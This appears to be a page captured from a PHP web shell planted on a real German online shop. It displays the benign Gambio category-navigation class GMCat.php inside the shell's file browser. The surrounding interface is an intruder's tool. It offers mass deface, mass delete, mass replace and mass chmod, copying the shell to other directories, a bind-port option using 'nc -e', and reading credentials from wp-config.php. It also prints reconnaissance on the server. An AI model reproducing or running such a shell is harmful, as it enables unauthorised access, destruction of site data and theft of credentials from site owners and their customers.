WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / styroporzuschnitte24_shop / gm / classes / [dxwrx-rx-r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/styroporzuschnitte24_shop/gm/classes/GMCat.php (9.08 KB)
<?php
	/*
		--------------------------------------------------------------
		GMCat.php 24.04.2009 pt@gambio
		Gambio OHG
		http://www.gambio.de
		Copyright (c) 2007 Gambio OHG
		Released under the GNU General Public License
		--------------------------------------------------------------
	*/	

	/*
	* class to get the category navigation
	*/
	class GMCat 
	{

		/*
		*	-> object for SEF Urls
		*/
		var $gmSEOBoost;

		/*
		*	-> $cPath
		*/
		var $gmcPath;

		/*
		*	-> use standard icon ?
		*/
		var $icon_cat_use;
		var $icon_w;
		var $icon_h;


		/*
		* default & empty constructor
		*/
		function GMCat($cPath) 
		{			
			$this->gmSEOBoost	= MainFactory::create_object('GMSEOBoost');
			$this->cPath		= $cPath;
			$this->icon_cat_use = gm_get_conf('GM_LOGO_CAT_USE');
			$this->icon_w		= gm_get_conf('GM_LOGO_CAT_SIZE_W');
			$this->icon_h		= gm_get_conf('GM_LOGO_CAT_SIZE_H');
			return;
		}


		/*
		* main function to get the sitemap
		*/
		function get() 
		{			
			if(!empty($this->cPath)) 
			{
				$id = explode('_', $this->cPath);
				reset($id);
			}

			/*
			* get cats 
			*/
			if 	(GROUP_CHECK == 'true') 
			{
				$group_check = " AND c.group_permission_".$_SESSION['customers_status']['customers_status_id']."=1 ";
			}

			$gm_query = xtc_db_query("
										SELECT
											c.categories_id AS id, 
											cd.categories_name AS name,
											c.parent_id 
										FROM " .
											TABLE_CATEGORIES . " c 
										LEFT JOIN " .
											TABLE_CATEGORIES_DESCRIPTION . " cd 
										ON 
											c.categories_id = cd.categories_id 
										WHERE 
											cd.language_id = '" . (int) $_SESSION['languages_id'] . "'
										AND 
											c.parent_id = '0' 
										AND 
											c.categories_status = '1' " .
										$group_check . "
										ORDER BY 
											c.sort_order, cd.categories_name
										");

			while($gm_array = xtc_db_fetch_array($gm_query)) 
			{
				if($id[0] == $gm_array['id']) 
				{		
					array_splice($id, 0, 1);
					reset($id);
					$gm_sub_tree = $this->get_tree($gm_array['id'], $id);									
				} 
				else 
				{
					$gm_help = '';
					if(gm_get_conf('GM_SHOW_CAT') == 'all' || gm_get_conf('GM_SHOW_CAT') == 'child')
					{
						$gm_sub_tree = $this->get_tree($gm_array['id'], $id);									
					}
					else
					{
						$gm_sub_tree = '';
					}
				}

				if(!empty($gm_sub_tree)) 
				{
					$gm_help = '<div class="categories">' . $this->get_cat_link($gm_array['id'], $gm_array['name'], true) . $gm_sub_tree . '</div></div>'; 
				} 
				else 
				{
					$gm_help = '<div class="categories">' . $this->get_cat_link($gm_array['id'], $gm_array['name'], true) . '</div></div>'; 
				}	
				$gm_tree .= $gm_help;
				$gm_help = '';
			}			

			return $gm_tree;
		}


		/*
		* read cats
		*/
		function get_tree($id, $subtree='') 
		{			
			if 	(GROUP_CHECK == 'true') 
			{
				$group_check = " AND c.group_permission_".$_SESSION['customers_status']['customers_status_id']."=1 ";
			}

			$gm_query = xtc_db_query("
									SELECT
										c.categories_id AS id, 
										cd.categories_name AS name
									FROM " .
										TABLE_CATEGORIES . " c 
									LEFT JOIN " .
										TABLE_CATEGORIES_DESCRIPTION . " cd 
									ON 
										c.categories_id = cd.categories_id 
									WHERE 
										cd.language_id = '" . (int) $_SESSION['languages_id'] . "'
									AND 
										c.parent_id = '" . $id . "' 									
									AND
										c.categories_status = '1'" . 
									$group_check . "
									ORDER BY 
										c.sort_order, cd.categories_name
									");

			
			while($gm_array = xtc_db_fetch_array($gm_query)) 
			{
				if($subtree[0] == $gm_array['id']) 
				{
					array_splice($subtree, 0, 1);
					reset($subtree);
					$gm_sub_tree = $this->get_tree($gm_array['id'], $subtree);
				} 
				else 
				{
					$gm_help = '';
					if(gm_get_conf('GM_SHOW_CAT') == 'all')
					{
						$gm_sub_tree = $this->get_tree($gm_array['id'], $id);									
					}
					else
					{
						$gm_sub_tree = '';
					}
				}				

				if(!empty($gm_sub_tree)) 
				{
					$gm_help = $this->get_cat_link($gm_array['id'], $gm_array['name'], false). $gm_sub_tree . '</div>';
				} 
				else 
				{
					$gm_help = $this->get_cat_link($gm_array['id'], $gm_array['name'],false) . '</div>';
				}

				$gm_tree .= $gm_help;
				$gm_help = '';
			}

			return $gm_tree;
		}


		/*
		* create sef-cat-link
		*/
		function get_cat_link($id, $name, $is_top) 
		{
			if($this->gmSEOBoost->boost_categories) 
			{
				$gm_cat_link = xtc_href_link($this->gmSEOBoost->get_boosted_category_url($id, $_SESSION['languages_id']));
				if($this->is_cat_active($id)) 
				{
					return $this->gm_get_categories_icon($id, $name, $is_top, $gm_cat_link) . '<div><a href="' . $gm_cat_link . '"><span class="cat_active">' . htmlspecialchars($name) . '</span></a>' . gm_count_products_in_category($id) . "</div>";
				} 
				else 
				{
					return $this->gm_get_categories_icon($id, $name, $is_top, $gm_cat_link) . '<div><a href="' . $gm_cat_link . '">' . htmlspecialchars($name) . '</a>' . gm_count_products_in_category($id) . "</div>";
				}
			} 
			else 
			{
				$gm_cat_link = xtc_href_link(FILENAME_DEFAULT, xtc_category_link($id, $name));
				if($this->is_cat_active($id)) 
				{				
					return $this->gm_get_categories_icon($id, $name, $is_top, $gm_cat_link) . '<div><a href="' . $gm_cat_link . '"><span class="cat_active">' . htmlspecialchars($name) . '</span></a>' . gm_count_products_in_category($id) . "</div>";
				} 
				else 
				{
					return $this->gm_get_categories_icon($id, $name, $is_top, $gm_cat_link) . '<div><a href="' . $gm_cat_link . '">' . htmlspecialchars($name) . '</a>' . gm_count_products_in_category($id) . "</div>";
				}
			}
		}


		/*
		* create check if element is active
		*/
		function is_cat_active($id) 
		{    			
			$is_active = false;
			$path = explode("_", $this->cPath);

			for($i = 0; $i < count($path); $i++) 
			{
				if($path[$i] == $id) 
				{
					return true;
				}			
			}
			return false;
		}

		/*
		* create cat icon
		*/
		function gm_get_categories_icon($cid, $cname, $is_top, $gm_cat_link) 
		{			
			$gm_use_logo = false;

			// fetch standard icon
			if($this->icon_cat_use == '1')
			{
				$icon	= DIR_WS_IMAGES . 'logos/' . gm_get_conf('GM_LOGO_CAT');
				$_w = $this->icon_w;
				$_h = $this->icon_h;
				$gm_use_logo = true;
			} 


			// fetch individual icon
			$gm_query = xtc_db_query("
									SELECT
										categories_icon		AS icon, 
										categories_icon_w	AS w, 
										categories_icon_h	AS h 
									FROM
										categories
									WHERE
										categories_id = '" . (int)$cid . "'								
									");

			if(xtc_db_num_rows($gm_query) > 0) 
			{
				$gm_icon = xtc_db_fetch_array($gm_query);
				
				if(!empty($gm_icon['icon'])) 
				{					
					$icon = $gm_icon['icon'];					

					// set icon_size if !exist once a time
					if(empty($gm_icon['h']) || empty($gm_icon['w'])) 
					{
						$imagesize	= @getimagesize(DIR_FS_CATALOG.'images/categories/icons/' . $icon);
						$gm_icon['w'] = $imagesize[0];
						$gm_icon['h'] = $imagesize[1];
						$this->gm_set_cat_icon_size($cid, $imagesize);
					} 

					$_w = $gm_icon['w'];
					$_h = $gm_icon['h'];
					$icon = DIR_WS_IMAGES . 'categories/icons/' . $icon;
					$gm_use_logo = true;
				}	
			}			
			
			if($gm_use_logo)
			{
				if($is_top) 
				{
					return '<div class="cat_icon"><a href="' . $gm_cat_link . '"><img src="' . $icon . '" width="' . $_w . '" height="' . $_h . '" alt="' . htmlspecialchars($cname) . '" title="' . htmlspecialchars($cname) . '" /></a></div><div class="cat_link" style="padding-left:' . ($_w + 3) . 'px;">';
				} 
				else 
				{
					return '<div class="cat_icon"><a href="' . $gm_cat_link . '"><img src="' . $icon . '" width="' . $_w . '" height="' . $_h . '" alt="' . htmlspecialchars($cname) . '" title="' . htmlspecialchars($cname) . '" /></a></div><div class="cat_sub_link" style="padding-left:' . ($_w + 3) . 'px;">';			
				}
			} 
			else 
			{
				if($is_top) 
				{
					return '<div class="cat_link">';
				} 
				else 
				{
					return '<div class="cat_sub_link">';			
				}
			}
		 }		
		
		/*
		* create counts
		*/
		function gm_count_products_in_category($cid) 
		{
			@require_once (DIR_FS_INC.'xtc_count_products_in_category.inc.php');

			if(SHOW_COUNTS == 'true') 
			{
				$products_in_category = xtc_count_products_in_category($cid);
				if($products_in_category > 0) 
				{
					return $categories_string .= ' (' . $products_in_category . ')';
				}
			}
		}

		/*
		* create icon size once a time
		*/
		function gm_set_cat_icon_size($cid, $gm_icon_size) 
		{
			xtc_db_query("
							UPDATE " . 
								TABLE_CATEGORIES . "
							SET 
								categories_icon_w	= '" . $gm_icon_size[0]			. "',
								categories_icon_h	= '" . $gm_icon_size[1]			. "'
							WHERE 
								categories_id		= '" .(int)$cid					. "'
						");
		}
	}

?>
namawaktuukuranownerpermaksi
..
csstidy/ 2013-11-12 21:03125.89 KB 76129f60960:kundendxwrx-rx-r
lib/ 2013-11-12 21:03601.96 KB 76129f60960:kundendxwrx-rx-r
ErrorHandler.php 2013-11-12 21:0310.34 KB 76129f60960:kunden-xw-x-----
edt
FileLog.php 2013-11-12 21:022.93 KB 76129f60960:kunden-xw-x-----
edt
GMAltText.php 2013-11-12 21:032.94 KB 76129f60960:kunden-xw-x-----
edt
GMAttributesCalculator.php 2013-11-12 21:034.65 KB 76129f60960:kunden-xw-x-----
edt
GMCSSMonitor.php 2013-11-12 21:0313.19 KB 76129f60960:kunden-xw-x-----
edt
GMCSSOptimizer.php 2013-11-12 21:0332.87 KB 76129f60960:kunden-xw-x-----
edt
GMCat.php 2013-11-12 21:039.08 KB 76129f60960:kunden-xw-x-----
edt
GMCounter.php 2013-11-12 21:0317.05 KB 76129f60960:kunden-xw-x-----
edt
GMEbay.php 2013-11-12 21:029.16 KB 76129f60960:kunden-xw-x-----
edt
GMGMotion.php 2013-11-12 21:0224.31 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintCartManager.php 2013-11-12 21:0314.66 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintConfiguration.php 2013-11-12 21:032.17 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintContentManager.php 2013-11-12 21:028.79 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintElements.php 2013-11-12 21:0315.79 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintFileManager.php 2013-11-12 21:026.06 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintOrderElements.php 2013-11-12 21:037.46 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintOrderManager.php 2013-11-12 21:036.27 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintOrderSurfaces.php 2013-11-12 21:036.41 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintOrderSurfacesManager.php 2013-11-12 21:034.86 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintProductManager.php 2013-11-12 21:024.55 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintSurfaces.php 2013-11-12 21:039.99 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintSurfacesGroupsManager.php 2013-11-12 21:031.96 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintSurfacesManager.php 2013-11-12 21:039.62 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintWishlistManager.php 2013-11-12 21:0314.81 KB 76129f60960:kunden-xw-x-----
edt
GMJSON.php 2013-11-12 21:032.44 KB 76129f60960:kunden-xw-x-----
edt
GMJanolaw.php 2013-11-12 21:033.76 KB 76129f60960:kunden-xw-x-----
edt
GMLangFileMaster.php 2013-11-12 21:03965 B 76129f60960:kunden-xw-x-----
edt
GMLightboxControl.php 2013-11-12 21:03691 B 76129f60960:kunden-xw-x-----
edt
GMLogoManager.php 2013-11-12 21:036.78 KB 76129f60960:kunden-xw-x-----
edt
GMMeta.php 2013-11-12 21:028.29 KB 76129f60960:kunden-xw-x-----
edt
GMProduct.php 2013-11-12 21:032.37 KB 76129f60960:kunden-xw-x-----
edt
GMSEOBoost.php 2013-11-12 21:0325.63 KB 76129f60960:kunden-xw-x-----
edt
GMSitemap.php 2013-11-12 21:035.32 KB 76129f60960:kunden-xw-x-----
edt
GMStatusbar.php 2013-11-12 21:022.46 KB 76129f60960:kunden-xw-x-----
edt
GMTSWidget.php 2013-11-12 21:034.93 KB 76129f60960:kunden-xw-x-----
edt
GMTabTokenizer.php 2013-11-12 21:032.81 KB 76129f60960:kunden-xw-x-----
edt
GMTracker.php 2013-11-12 21:033.49 KB 76129f60960:kunden-xw-x-----
edt
JSON.php 2013-11-12 21:0339.98 KB 76129f60960:kunden-xw-x-----
edt
application_top.php 2013-11-12 21:0334.02 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/styroporzuschnitte24_shop/gm/classes
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK